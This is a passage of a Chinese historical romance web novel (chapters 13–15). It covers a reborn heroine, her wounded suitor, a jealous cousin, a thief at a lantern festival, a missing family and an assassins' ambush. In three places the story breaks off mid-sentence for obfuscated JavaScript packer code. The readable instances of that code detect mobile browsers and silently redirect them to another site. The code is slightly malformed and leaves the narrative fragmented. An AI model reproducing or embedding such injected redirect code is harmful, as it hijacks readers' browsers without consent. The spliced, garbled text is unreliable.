他喉间苦涩,郑重地颔首道:“多谢伯母厚待,您的手艺当真极好。” “薛公子客气,若是可口就多吃些。” 薛召容将碗中热粥饮尽,又细细尝了几块排骨。这般滋味,竟是他二十余年来从未体会过的。 沈支言在一旁静静望着他,心头泛起阵阵酸楚,前世种种,她最是清楚不过。即便只是这般寻常关怀,于他而言亦是弥足珍贵。 阮苓瞧着沈支言看薛召容的眼神,总觉得不对劲,她还是头一次见到姐姐这般看一个男人,即便是面对表哥也不曾这般,她问道:“薛公子晚间可要与我们同去赏灯?待会我再找来义沅姐姐和软玉弟弟,出门玩人多了才热闹。还有鹤川你也一并带上罢,他身手好,还可护着我们周全。” 阮苓到现在还忘不了鹤川抱她时那股劲儿。 薛召容听闻此话下意识望向身旁的沈支言,还未及开口,便听何苏玄温声道:“薛公子还是好生将养为要。听闻这次伤得不轻,时下瞧着面色仍有些苍白。身子最是要紧,这次若去不成,我们下次再约。” 何苏玄这话说得是,薛召容背上那几处伤口,任谁看了都要倒吸一口凉气。这般伤势,若强撑着去逛灯会,怕是吃不消。 阮玲这才想起来他还有伤,忙不迭地点头:“对,薛公子且安心养伤,下回游玩我们再一起去。今日多亏你护着支言姐姐,这份情谊我们都记着呢。” 沈支安也道:“回去好生换药休息,用过膳,我送你。” 连沈支轩也跟着附和。 满桌人都在劝薛召容回去将养,唯独沈支言垂眸不语。 薛召容看向她,却见她已抬眸望来,还未开口,她便轻声道:“今日让你受累了,这伤须得好生照顾,你回去再请大夫仔细瞧瞧,若能请得太医院的太医更好。也别仗着年轻就不当回事,万事都要先顾着自己,身体最为要紧。” 沈支言这番话说的极轻,却不知自己此刻的话语和神情,活脱脱是前世为他妻时的模样。 屋内骤然一静,阮玲眨了眨眼,何苏玄手中的茶盏微微一顿。 薛召容心头也突突跳了几下,望着她这般模样,愈发确信他们二人之间必有渊源。 何苏玄不自觉地握紧了手中杯盏。他从未想过,这个跟在他身后十数年的小姑娘,竟会对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈支禹,沈支言的长兄,当今翰林院侍读学士。他文采卓然,十五岁时便高中榜眼,而后进入翰林院。二十岁时与大理寺卿的嫡女成婚,如今喜得一儿一女,生活仕途都十分顺遂。 最近翰林院学士身体抱恙,有意告老还乡,皇帝对接任之人十分重视,朝中已有多位官员举荐沈支禹,就连薛亲王也举荐过。 时下正是关键时刻,皇宫里突然传出这样的密信,着实让人心惊。 李贵妃乃何苏玄姨母,这些年在宫中颇得圣心。平日里瞧着最是温婉可亲,又极善揣摩上意,是个八面玲珑的人物。 沈、何两家原是姻亲,往来甚密。何氏一族素来明哲保身,家主更是长袖善舞,在朝堂上左右逢源,深得帝王信重。 李贵妃待沈家子弟向来亲厚,如今竟会传出这般密信,着实蹊跷。更遑论太师府这些年明里暗里没少与太傅府、亲王府作对,其中关节,实在耐人寻味。 薛召容去西郊的一路上都在细细回想着沈支言今日所言。那些关于太师府与淑妃的警示,字字句句都透着古怪。 沈支言,绝非普通的寻常女子,她究竟都知道些什么? 他们两人到底是何关系?为何在他的那些莫名记忆里,她会是他的妻子? 13. 第 13 章 薛召容离去后,众人便开始张罗着往东街赏灯的事宜。不多时,江义沅与阮玉一同前来,阮玉怀中还抱着一柄新铸的宝剑。 这剑原是阮玉半年前就开始让人锻造的。幼时他就钦羡江义沅舞剑时的飒爽英姿,曾稚气地说要赠她天下最锋利的宝剑。如今二人都已长大成人,阮玉为了兑现诺言,遍寻精铁不说,还特意请了江南名匠锻造此剑。今日恰逢宝剑铸成,二人便先去取了剑,这才一同过来。 阮玲见那宝剑寒光凛凛,煞是好看,便缠着江义沅当场舞上一回。江义沅本就手痒,执剑笑道:“那我献丑了。” 她说罢,便开始在院中舞起剑来。 江义沅虽为女子,却腕力惊人,剑术招招耍地漂亮,时而凌厉如电,时而翩若游龙,最后一招下去竟生生将木桩劈作了两半。 阮玲和阮玉激动地拍手夸赞:“义沅姐姐好生厉害,这剑果然配你。” 江义沅的武功确实不错,便是沈家几位郎君也自愧不如。沈支言望着她飒爽英姿的模样,心头忽生波澜。这般惊才绝艳的女子,合该翱翔九天,岂能如前世那般困于后宅,消磨灵气? 大哥沈支禹携着妻儿匆匆赶来。他近日为翰林学士更迭之事忙得脚不沾地,此刻官袍刚换下就过来了。 孩子们迫不及待地围着马车打转,嚷嚷着要放烟花。 众人忙着收拾行装时,何苏玄将沈支言单独留在房中。他倚在雕花门框边,往日挺括的锦袍此刻显出几分颓唐。那双总是含笑的眼睛也沉沉望着她,沉默间,几度欲言又止。 屋内一阵寂静。 沈支言低头晃着神,思绪总飘到受伤的薛召容那里,不知他可去寻了太医?背上还疼得厉害么? “妹妹。”何苏玄开口,声音比往常低沉,“你与他是何时认识的?” 他终究还是问出了口。 沈支言闻言缓过神来,知道他口中的“他”指的是薛召容,抬眸对上他探究的目光,突然想起重生前那些年岁里,自己是如何仰望着这位惊才绝艳的表哥的。而如今,重活一世,倒是不愿再与他亲近了。 说来也是,算上前世,从她嫁给薛召容以后,他们好似一年多都没怎么接触过,即便是为数不多的接触里,也都是他对她嫁给薛召容的埋怨。 前世,他是那么讨厌薛召容,后来甚至一遍遍地在朝中参他。 而薛召容又是那么的讨厌他,连名字都不许旁人提。 何苏玄见她迟迟不语,动身走到她跟前,垂首望着她魂不守舍的模样,低声道:“你们不似初识,我自幼看着你长大,哪怕只是一个眼神,我也能猜出你的心思。今日花架坍塌时,是他把你揽在身下护着你?” 护的那么亲密。 他的语气透着不悦。 沈支言沉默片刻,斟酌该如何应答,却又觉得无需多言。前世的痴慕早已在重生时烟消云散,即便以后不与薛召容在一起,也未必会再嫁给他。 他们如今这般未挑明的关系反倒正好,若她渐渐疏远,或许这段情分便会淡去,说穿了反倒难堪。 她又静默了片刻,终是回道:“表哥多虑了,我与他不过数面之缘。今日他因救我受伤,我只是过意不去罢了。想必外头都收拾妥当了,我们出去吧。” 气氛不太好,她有点不适应。 何苏玄没有立即回答,瞧着她那疏离的眼神心中甚是烦闷,伸手欲牵她的手,却被她下意识地躲开了,然后还后退了半步。她这一退,让他心中更加烦闷。 “数面之缘吗?”他嗓音陡然沉了下来,“那你昨日为何将贴身手串赠给他?我们相识十余载,你可曾赠过我这般私密之物?” 收到她的小物件确实不少,像手串那么珍重的还没有。 他的语气不甚好听,她不禁皱起眉头,在她的印象里,这位表哥向来温润随和,即便她使小性子也总是含笑包容,何曾见过他这般咄咄逼人? 她低声回道:“那手串不过是因为他昨日比试略胜一筹,随手相赠罢了。” 略胜一筹?意思是,即便他们同中把数,他也不及薛召容优秀? “随手相赠吗?”他不太信,低笑一声,笑得那么苦涩。 她向来不会撒谎,时下这番说辞,分明是欲盖弥彰。 “妹妹,有些话……” “表哥,今日原是赏灯的开心日子,何必说这些?我行事自有分寸,你不必这般。若还想好好赏灯,有些话就莫要再说了。” 她知道他想说什么,她现在不想听。 他蹙眉凝视她,觉得她有些陌生,话到嘴边又生生咽了下去,轻叹一声,出了房间。 沈支言望着他离去的背影,知道他生气了,可即便生气了又能如何?以他的性子,也绝不会主动捅破这层窗户纸。 从她及笄后媒人便陆续前来说亲,阮玲也曾当着众人面笑言她满心满眼都是表哥,连母亲都明里暗里试探过,可他却只是含笑听着,从未有过半分表示。 他待她再好,看起来也不过是如兄如父般的照拂,他只亲近她,却从不说逾矩的话,他心里好似有一把尺子,一把丈量他们之间距离的尺子。 就连前世她与薛召容定亲时,他也只道“你就那么不在乎自己的幸福?不相爱的婚姻如何将就”,却从未问过她的苦衷和委屈。 而他方才未说出口的那些话,想必也是像以往一样,提醒她莫要与旁的男子接触吧。 大伙儿准备好便向东街出发了。三个姑娘同乘一车,沈支言强打精神与江义沅、阮玲说笑,心头却似压着块石头,总觉得有些不安,却又说不上来。 江义沅最是敏锐,瞧出她神色不对,伸手揉了揉她的脑袋,笑道:“妹妹今日怎么总是恹恹的,可是遇着什么烦心事了?说与姐姐听听。” 沈支言自己也说不清为何这般心绪不宁,只勉强笑道:“许是今儿个胃里不大爽利,精神头差了些,不碍事的。” 阮玲歪着头打量她:“姐姐近来确实有些不同。若身子不适定要请大夫瞧瞧。还有,我总觉得姐姐待薛二公子似乎格外不同,薛召容看姐姐的眼神也奇怪。” 提起薛二公子,江义沅歉然道:“妹妹,可是我让你去见他,给你惹了麻烦?” “与他无关。”沈支言摇头,“也没有对他不同,只是觉得他有些特殊罢了。” 阮玲好奇:“哪里特殊?” 哪里特殊?她好像也说不出来,回道:“我说不上来,不过听他的意思,亲王府近来的处境确实艰难,急需联姻破局。上次我虽替姐姐挡了一时,却也挡不了一世。若姐姐实在不愿,不如寻个机会与他商议,看看有没有其他办法。薛召容此人面冷心热,能力不俗,或许能想出两全之策。” “我虽对朝堂之事不甚了解,但听兄长提起过其中牵扯,若是亲王府真的有个闪失,于我们几家也不是好事 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一行人到了街上,见天色尚早,便选了临湖的茶楼小憩。阮玲虽不良于行,却最是闲不住,一会儿嚷着要二哥推她去瞧糖人,一会儿又要去买花灯,直把二哥支使得团团转。 一行人从茶馆出来,又去湖上泛舟。日影西斜时,沿岸的灯笼开始次第亮起,漂亮的恍若星河倾落人间。 自太傅府出来之后,表哥何苏玄始终未与沈支言搭话,只是不时地偷瞧她的神色。 而阮玉则像条小尾巴似的缀在江义沅身后,不是递帕子就是买零嘴。偏生江义沅又是个不解风情的,只当他是幼时那个跟屁虫,无论他献什么殷勤都照单全收。 大哥带着妻儿先去看了杂耍,又领着孩子们去看皮影戏,与他们说好一个时辰后在湖边碰头。 大伙儿各玩各的去了,转眼间,竟只剩沈支言与何苏玄二人沿着湖畔慢行。 暮风拂过湖面,吹散白日燥热。晚霞将粼粼波光染成胭脂色,映得人面桃花,美如画卷。 二人默不作声地走了许久,最后在临湖的石凳上坐下。 何苏玄望着沈支言低垂的侧颜,心中百转千回,这小丫头近来心思愈发难猜,倒叫他这个素来从容的人也不知该如何应对了。静默良久,他终是起身道:“妹妹且坐着,我去买些吃的来。” 这般相对无言的气氛,实在难熬。 沈支言也正难以适应,点头道:“有劳表哥了。” 何苏玄应了声便离开了,沈支言则独自望着湖面出神,心中盘算着如何扭转前世命数。 周围的人络绎不绝,造型各异的花灯格外美丽。 不一会,有个小男孩突然跑来扯沈支言的衣袖,脆声脆气道:“姐姐,有人寻你。”说着,指向远处一个小胡同。 沈支言循着望去,只见一位黑衣男子背对而立。那男子身形高大魁梧,腰间配着长剑,像是个练家子,只是瞧着很是陌生。 她疑惑地对小男孩道:“你去告诉他,若有要事,让他过来寻我。” 面对陌生人,她定然不敢在人少的地方贸然相见。 小男孩“嗯”了声,跑去传话,不多时却见那黑衣男子竟转身进了胡同里,小男孩也跑开了。 沈支言疑惑地望着胡同口,思量着这人是谁,为何要寻她?突然砰的一声响,一束烟花在头顶乍现,惊得她猛地打了个冷颤。 “站住,别跑。”远处赫然传来江义沅的急喊声。 14. 第 14 章 江义沅这一声喊得又急又厉,沈支言闻声回首,只见不远处人群骚动,一道黑影跌跌撞撞向前奔逃。江义沅紧追其后,厉声喝道:“快拦住他,是个盗贼。” 街市众人闻言纷纷侧目,胆小的慌忙避让,亦有几个胆大的汉子跟着追了上去。那贼人身手甚是矫捷,在人群中穿梭如游鱼,所过之处摊倒架翻,惊得行人连连惊呼,整条长街顿时乱作一团。 那人奔逃太快,江义沅足尖一点踏上道旁木架,借力腾空而起,奋力追至那人身后,她探手欲擒,岂料那人倏地转身,寒光乍现间竟抽出一柄佩剑相迎。 他一身夜行劲装,面上蒙着黑纱,左手紧攥着一枚藕荷色绣囊,而这绣囊正是方才从一位姑娘身上窃得的。 江义沅抽出今日新得宝剑,与他打斗起来,此人武功了得,招招式式直取要害,凌厉狠辣,绝非寻常盗贼,倒像是训练有素的杀手。 几招过后,江义沅竟有些招架不住,剑锋相击间火花迸溅,震得虎口发麻。 沈支言跑上前来,只见二哥沈支安也推着阮玲赶来。 沈支言急问:“怎么回事?” 沈支安摇头:“不清楚,只听说是个贼人当街行窃,被义沅妹妹撞见了。” 阮玲扫视四周,发现自家弟弟阮玉正带着一名粉衣女子向这边赶来。 “义沅姐姐!”阮玉还未站稳便急声唤道。 阮玲目光落在那女子身上,但见她一袭粉衫,身姿窈窕,肤若凝脂,眉眼间透着江南水乡的温婉清丽,她好奇问道:“这位姑娘是谁?” 那女子低眸看她,神色间犹带几分惶然,柔声回道:“方才那人窃走的,正是我的钱袋。” 她嗓音清润婉转,听着让人好生怜惜。 沈支安闻声望她,目光触及她面容时不由一怔,她那双含怯带忧的眸子似江南烟雨般朦胧动人,竟教他一时晃了神。 他出身世家,见过的绝色佳人不知凡几,便是自家妹妹也是京城数一数二的美人。可眼前这女子却格外不同,分明只是素净装扮,偏生叫人移不开眼,他倏地耳根微热,不觉问道:“不知姑娘芳名为何?来自哪里?” 那姑娘看向他,福了福身回道:“小女子姓许名莹,家父乃河都县令。因家兄在京备考,特来探望,顺道游赏京城风光。不想今日刚至街市,竟遭贼人窃了钱袋。” 她说着,眸光转向远处缠斗的身影,忧心忡忡道:“多亏那位姑娘仗义相助,只是那贼人武艺高强,实在叫人担心。” 原来是和都县令的女儿。 沈支安整了整衣冠郑重作揖道:“许姑娘不必忧心,我等定当竭力相助。在下沈支安,乃太傅府的二公子。” 太傅府的二公子?许莹微愣一下,连忙还礼,衣袖轻扬间带起一阵幽香:“多谢沈公子,多谢诸位。” 她声音轻柔似三月柳絮,眼波流转时更添几分动人神采。 沈支安正望着她出神,冷不防被阮玲一记手肘撞在肋下,疼得倒抽一口凉气。 阮玲挑眉瞪他:“二哥还愣着干什么?不去寻人帮义沅姐姐,倒在这儿自报家门?” 沈支安尴尬一笑,连忙去叫人,只是还不等他回来,江义沅就已将那贼人按倒在地。她动作利落地抽出腰间绳子,三下五除二便将贼人捆了个结实,一把扯下他面上黑纱,露出张粗犷凶悍的脸。 江义沅剑锋抵住他咽喉:“光天化日行窃,活腻了不成?” 她说罢,俯身拾起绣囊,揪着贼人衣领拖到众人跟前,随手将钱袋抛给许莹:“你的。” 许莹慌忙接过,屈膝行了个大礼:“姑娘大恩,许莹没齿难忘。” 江义沅摆摆手:“姑娘不必客气,举手之劳而已。” 说话间,沈支安已领着巡城司的兵将赶来。那领头的校尉上前抱拳行礼,面露愧色道:“多亏江姑娘出手擒贼,是下官失职,竟让这等贼人混入街市。” 江义沅:“大人言重了,不过此人武功路数不似寻常盗匪,还望大人仔细审问,看看是否另有隐情。” 校尉郑重点头:“姑娘放心,下官定当严加审讯,也会增派人手巡查。” 校尉说罢便押着那贼人离去,四周围观的百姓也渐渐散开。 阮玉拍着心口凑上前,激动道:“姐姐方才好生厉害,那贼人被打得毫无还手之力,真叫弟弟开了眼界。” 阮玉最会在江义沅面前奉承,江义沅爽朗笑道:“多亏你送我的这柄剑,今日可是派上大用场了。” “是姐姐武功高强。”阮玉忙将怀中抱着的水囊递过去。 阮玉满心满眼都是江义沅,全然没注意到阮玲频频翻起的白眼,她冷嗤一声:“堂堂七尺男儿,见着贼人不知上前,倒让义沅姐姐涉险,若是有个闪失,你担待得起么?” 阮玉顿时涨红了脸:“我武艺不精,贸然出手岂非添乱?不过,我已拜了位名师,假以时日定能成为一流高手。” “噗!” 阮玲哈哈大笑,正要再讽他几句,却听江义沅维护道:“好了,若非玉弟眼尖,这贼人早溜走了。” 阮玲只得撇嘴:“姐姐你就惯着他吧。” 几人说笑间,沈支言走到一旁,俯身拾起一枚精巧的铜扣,好似那盗贼掉落的。这扣子纹样奇特,似是什么组织的标记,偏生眼熟得很,一时却想不起在何处见过。 她将扣子纳入袖中,心中惴惴不安,方才这盗贼与在胡洞口寻她的那位男子有点相似,他们均是着一袭黑衣,带着宝剑,也不知是不是同伙。 说起来,前世此时并未发生东街赏灯一事,表哥何苏玄也不曾邀请过她赏灯。而今表哥突然邀约,不知是早有筹划,还是因白日里遇见了薛昭容才临时起意。 但无论如何,只是一念之差,竟连命数都跟着转了弯。今日发生的种种事情,全都在她的意料之外,包括遇到许莹。 前世里,她从未见过许莹。 沈支言正思量间,忽听沈支安对许莹道:“姑娘受惊了,不知现下宿在何处?可要我们护送一程?” 许莹眼波盈盈,浅笑道:“多谢公子挂怀。只是初到京城,总觉新鲜,还想再走走看看。” 沈支安忙道:“既如此,不如与我们同行如何?这东街景致我最是熟悉,正好可以与姑娘细说。” 沈支安今日像着了魔,面对这位姑娘格外殷勤,目光灼灼地凝在她身上,任谁都瞧得出几分心思。 阮玲看着他,眉头拧成了麻花。 面对沈支安的邀请,许莹却婉拒道:“公子盛情,许莹心领了。只是还要去寻家兄,就不叨扰各位了。” 而后她又冲江义沅福了福身道:“今日多谢江姑娘仗义相助,他日有缘再会。” 能乐于助人,江义沅很是开心,她笑道:“姑娘不必客气,日后外出多注意安全便是。” 许莹应了声便离开了。 沈支安的目光追随着她离去的背影,阮玲则使劲拽了一下他的衣袖:“魂儿都要跟着飞了。” 沈支安缓过神来,脸颊竟然微微红了。 沈支言担心大哥到湖边找不到人,便提议先回去相聚,毕竟今晚出现盗贼这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541197|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺让人担心的。 他们到了湖边,湖畔依旧热闹,去买东西的何苏玄还没有回来,软玉便买了几盏灯笼同大家一起玩。 过了一会,何苏玄提着大包小包的东西赶来,他看到大家问道:“怎的都到齐了?准备回去吗?” “不回去。”阮玉回道,“方才义沅姐姐抓了个盗贼,三下五除二就把那贼人制服了,现下已交给巡城司了。我们商议去酒楼用膳,不过大哥一家还未回来。” “你们遇上贼人了?可有人受伤?”何苏玄慌忙将众人细细打量一遍,见大家都安然无恙,这才松了口气。 阮玉咧嘴一笑:“有义沅姐姐在,怎会受伤。” “那就好。”何苏玄从油纸包里取出一份蜜饯递给沈支言,“妹妹,买了你最爱吃的,先垫垫肚子。” “多谢表哥。”沈支言接过蜜饯,“这是在哪家买的?” 何苏玄将其余点心分给其他几位,回道:“街西头那几家铺子,我挨个买了个遍。” “嗯。”沈支言拿起一块蜜饯咬了一口,街西头的蜜饯她经常吃,今日的好像有点酸。 几个人在湖边等着沈支禹一家,可是等了许久却不见他们回来。 阮玲等得心焦,催促阮玉去寻人,阮玉寻了一圈回来道:“我把附近都找遍了,连皮影戏场子都散了,愣是没见着大哥一家。奇了怪了,他们能去哪儿呢?该不会回去了吧?” 沈支安摇头:“应该没有回去,大哥素来行事稳妥,就算是回去也要差人告诉我们一声。” “天要黑了。”江义沅看了看天,“不如分头去找吧。” 再不找,怕要出事了。 沈支安也觉得不安,立即安排大家分头去找。 因着阮玲腿脚不便,沈支安便让沈知言留下来照应她。 沈支言望着渐暗的天色,终是明白这一整日萦绕心头的不安是从何而来了。 今日这场出行,原就是不该有的变数,这毫无准备的变数,或许会酿成一个不好的结果。 —— 薛昭容审罢西郊那桩事,便快马加鞭赶回城中。经他严加盘问,那小太监终是吐露实情:李贵妃与淑妃私交甚密,更与太师府的嫡长子往来频繁。 说来这二人本是青梅竹马,一个入宫为妃,一个娶了重臣之女,本该各自安好互不打扰,偏生近来频频密会,实在蹊跷。 更令人心惊的是,从李贵妃处流出的密信上,赫然写着沈支禹的名字。 小太监说,那密信是准备宫宴邀约用的名单,并没有别的意思,可是从他闪躲的眼神中能够看出,他是在撒谎。 或许真的有人要害沈支禹。 暮色沉沉,夜风有点凉,薛召容背上的伤口总是隐隐作痛,他想回府换药,但是一想到沈支禹就心有不安。 还有沈支言,那个莫名钻进他记忆里的姑娘,自他从太傅府出来以后,一整个下午,满脑子里都是她。 花架倒塌时,他将她护在身下,近在咫尺的接触,熟悉的气息,砰然的心跳,每一样都让他恍惚,恍惚到乱了方寸,恍惚到要去亲她。 他很疑惑,也很烦闷,不明白世上怎么会有这么奇怪的事情,他甚至还会因为何苏玄带她去赏灯,而不能与他一起去看烟花,气得胃疼。 他怕不是魔怔了吧。 必须要克制了。 他这般想着,嘴上却道:“鹤川,改道去东街。” “公子,您伤口还疼着,先回府换药吧。” “无碍,还能忍。” 找沈支言要紧。 15. 第 15 章 东街赏灯本是一桩寻常乐事,怎料转眼间竟生出这般变故。平日里这长街上巡查司的差役往来如梭,盗窃之事鲜有发生。可今夜不仅出了盗贼,更蹊跷的是大哥大嫂一家子竟凭空消失了。 沈支安先寻至皮影戏摊前,那班主说方才场子里乱得很,实在没注意他们说的人家。 今日灯会人潮如涌,这里又临近岔道口,七弯八拐的巷陌间摊棚林立,摩肩接踵的行人早晃花了眼,其他诸位掌柜也都摇头称未曾留意。 沈支安急得直跺脚,眼见着天边残霞褪尽,暮鼓声遥遥传来,长街华灯初上,照得每个人脸上明暗不定,却始终照不见兄嫂一家的踪迹。 沈支安当机立断,让阮玉先带着阮玲先回府调派人手。 沈支言跟着大伙儿穿行在街巷之间,一声声“兄长”“嫂嫂”的唤着。他们将附近街巷翻了个底朝天,却连半片衣角都未曾寻见。 阮玉带着府中护卫匆匆折返,面色铁青地摇头:“太傅府也没见着人影。” 今日赏灯之约原是何苏玄提议的,如今兄嫂一家凭空消失,他着实感到抱歉,不住地向众人赔罪,又遣人回府调来更多家丁搜寻。 太师府嫡长子、朝中重臣一家四口莫名失踪,此事非同小可。 巡查司来了不少官兵,将整条街道围得水泄不通,一面封锁消息,一面挨家挨户搜查。 待薛召容赶到东街时,只见各处路口尽是执戟官兵。他上前询问,那领头的校尉认出他,抱拳禀道:“薛公子,今夜东街出了变故,翰林院侍读学士一家四口突然失踪。如今全城戒严,这四周都已封锁。” 薛召容闻言心头猛地一沉,果然出了这般祸事。他当即与鹤川前去寻找,不多时便在东街拐角处撞见了满面焦灼的沈知安。 “薛二公子?”沈知安抬眼望见他,眸中闪过一丝诧异,“你怎么来了?” “方才听官兵说这边出了乱子。”薛召容快步上前,“沈大哥一家至今还未寻见吗?” 沈支安忧声道:“这附近都翻遍了都未见人,我已命人封锁京城各处要道,正着人全城搜查。” 薛召容沉声问:“沈支言呢?” 沈支安回道:“方才我已让义沅妹妹送他回府了。” 回府了,那就好。 薛召容稍稍放心了些,道:“我将鹤川留给你,我们再分头找找。” 沈支安不通武艺,薛召容怕他也出事,便把鹤川留给了他。 夜色渐完,薛召容沿着长街一路搜寻,却始终不见人影。他拐过几道弯,踏入一条幽暗狭窄的胡同。巷内漆黑一片,连盏灯笼也没有,唯有远处零星灯火映出几分微光。 薛召容走着走着,忽见前面一道身影,他立即提步追了上去,待追至巷口时,他抽出佩剑,直指那人后背,厉喝一声:“站住。” 那人脚步一顿,缓缓转过身来,竟是何苏玄。 何苏玄看了眼薛召容手中寒芒凛冽的长剑,退后半步,问道:“薛公子怎会在此?” 两个人突然在这里碰面,气氛有些微妙。 薛召容还剑入鞘,回道:“我来寻人。” 何苏玄借着微弱的光线望着他,他明明有伤在身,却大半夜跑来寻人,也不知是真的来寻大哥,还是来寻沈支言。 自这几次相见,每次见面他都对他莫名的反感。他自是一个平易近人又随和的人,偏偏瞧着薛召容就反感的很。 周围突然安静下来,一时静得出奇,昏暗的光线下谁也看不清谁的神情。 二人默然相对片刻,薛召容正欲离去,忽听何苏玄突兀问道:“你们何时相识的?” 与沈支言何时相识的? 他这一问,薛召容蓦地愣住,眉头紧蹙起来。 何苏玄话一出口,也怔住了。 周围一阵寂静。 片刻后,薛召容沉声回道:“前年。” 成年以后,前年的春日宴上,他与沈支言第一次见面。 前年? 何苏玄被这二字生生惊住。所以,他们早就认识了?所以,沈支言这些时日的刻意疏远,竟与眼前这人有关? 一时间一股无名怒火倏地窜上心头,他苦笑一声,冷不丁说了一句:“我准备向她求亲了。” 求亲? 这话一处,周围又立时衢静下来,连风声都凝滞了。 薛召容审视着他,心绪开始一阵翻涌,关于他的一些零碎记忆也接踵而来:朝堂上他一遍遍地参他。大雪天,他捧着新买的口脂去找她。暴雨中,他持剑指着他说要带走她。 两人一阵沉默。 过了一会,何苏玄见他不语,正欲再言,却见他蓦然转身,一边往回走,一边清声道:“试试看。” 试试看。 多么微妙的三个字,轻蔑中带着几分挑衅。 而这三个字,落入何苏玄耳中,激得他胸中郁气更为凝重。 夜风吹过,转眼间,薛召容已不见身影。 —— 原本沈支安安排沈支言和江义沅回府,可就她们的马车离开东街经过一片老城区的时候,突然一批黑衣人挡住了她们的去路。 江义沅架着马车一路向南疾驰,最后还是被这些人堵在了巷子里。 这些人显是早有筹谋,剑锋虽利却未下死手,只将二人团团困住。江义沅将马车护在身后,单手持剑相抗。剑影翻飞间,她左臂先中一剑,猩红浸透青衫,继而肩头又添新伤,鲜血溅在马车帘子上晕出一片猩红。 黑衣人攻势如潮,江义沅渐觉力竭,马车赫然被人用剑劈去,只听“哐当”一声,车窗被猛然劈开,沈支言惊了一声,急忙从马车上跳了下来。 江义沅见状,踹开一人急忙护在她身前。这些人见沈支言下来,招招向她逼近。 江义沅一把抓紧沈支言的手臂,不停地挥剑抵挡。奈何寡不敌众,寒光闪过,沈支言的肩胛被利刃划破,霎时洇开一片殷红,她吃痛轻呼,踉跄后退时绊倒在地。一名黑衣人见此,举剑向她直刺而来。 紧要关头,江义沅倏然掠至她身前,只听“铮”的一声金鸣,长剑相格,火星四溅,硬生生替她挡下了这一剑。只是不妨侧面又一道刀光劈下,狠狠斩入江义沅后背。江义沅脊背一僵,随着火辣辣的疼痛,鲜血顿时浸透青衫,而后顺着衣角滴落在青石板上。 “姐姐。”沈支言惊呼一声,望着她背上的伤口,眼睛瞬间红了。 “支言别怕。”江义沅依旧将她护在身后,染血的手指紧握剑柄,对着逼近的黑衣人厉声道:“堂堂七尺男儿,竟对弱质女流下此毒手,算什么本事。放她走,你们冲我来。” 她冷冷扫过那些黑衣人,他们个个高大魁梧,依她一人之力难有胜算。 然而,那些黑衣人却似傀儡般毫无反应,剑锋映着冷月寒光,一步步收紧包围。 沈支言手上触到一片粘稠,泪水顿时模糊了视线,哽咽道:“姐姐,你流了好多血,你别管我,你先走。” “走什么,别怕,一点不疼。”江义沅剑尖在地上划出半弧,“我既要送你回去,定会护你周全。” 夜风卷起她染血的衣袂,刀光已至眼前。 沈支言死死攥住她的衣角,肩胛处的伤浸透了衣衫竟也觉不出疼。 黑衣人攻势陡然凌厉,其中一人猛地擒住沈支言的手臂,硬生生将她从江义沅身后拽出。 “放手。”江义沅挥剑逼退面前敌手,反手去抓沈支言。两相拉扯间,忽见寒光劈面而来,她抬腿将持刀者踹开,旋身将沈支言护在怀中。那擒人的黑衣人见状,竟挥刀直取她后颈。 “姐姐。”慌乱中,沈支言惊呼一声。 接着忽闻“铮”的一声清响,一柄长剑破空而来,将那劈向江义沅后颈的刀刃生生斩断。碎铁飞溅,二人只觉腰间一紧,已被一股力道拽出险境。 沈支言扶着江义沅踉跄后退数步,待脚步站稳,只见一道熟悉的白色身影挡在了她们身前。她尚未看清来人,四周黑衣人已如潮水般涌了上来。 来人剑势如虹,寒光过处,已有数名黑衣人捂着脖颈倒地。余下刺客见状愈发凶狠,招招直取要害,却被他凌厉的剑势逼得节节败退。 就在他将要取下最后一颗人头时,墙头突然又跃下十余名黑衣刺客,将巷子两头堵得水泄不通。 “薛召容?”昏暗月色下,沈支言终是看清来人,不由轻呼出声。 薛召容侧首看她,见她胸前衣衫被染红一大片,眸光一沉,手中的剑握得愈紧,担忧问道:“疼不疼?” “不疼。”沈支言听闻这声关切,鼻尖一酸,眼眶顿时红了。 好像早已疼得麻木了。 江义沅见来了援手,紧绷的心弦稍松,却因失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548872|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血过多身形微晃。沈支言急忙撕下衣摆,按在她后背的伤口上,颤声道:“姐姐,你先走,别管我。” 鲜血顺着她的指缝不断渗出,在月色下泛着暗红的光。狭窄的巷子里,两方对峙,剑拔弩张。夜风卷着血腥气,将薛召容的衣袂吹得猎猎作响。 沈支言明白,此刻最大的拖累便是自己。以江义沅与薛召容的身手,脱身本非难事,可若带上她这个累赘就难了。 “傻丫头胡说什么!”江义沅一把攥住她冰凉的手,染血的指尖微微发颤,“便是拼了这条命,我也绝不会丢下你。” 怎么舍得呢!自幼一起长大的姐妹,她怎么舍得丢下她而逃命。 可是沈支言又怎么舍得再拖累她,她刚想再劝,薛召容已是旋身退至二人身侧,沉声道:“江姑娘护好她,我来开路。” 他话音甫落,长剑已化作一道白虹贯入敌阵。江义沅立即挽着沈支言紧随其后,剑锋横扫,将后方袭来的黑衣人尽数挡下。 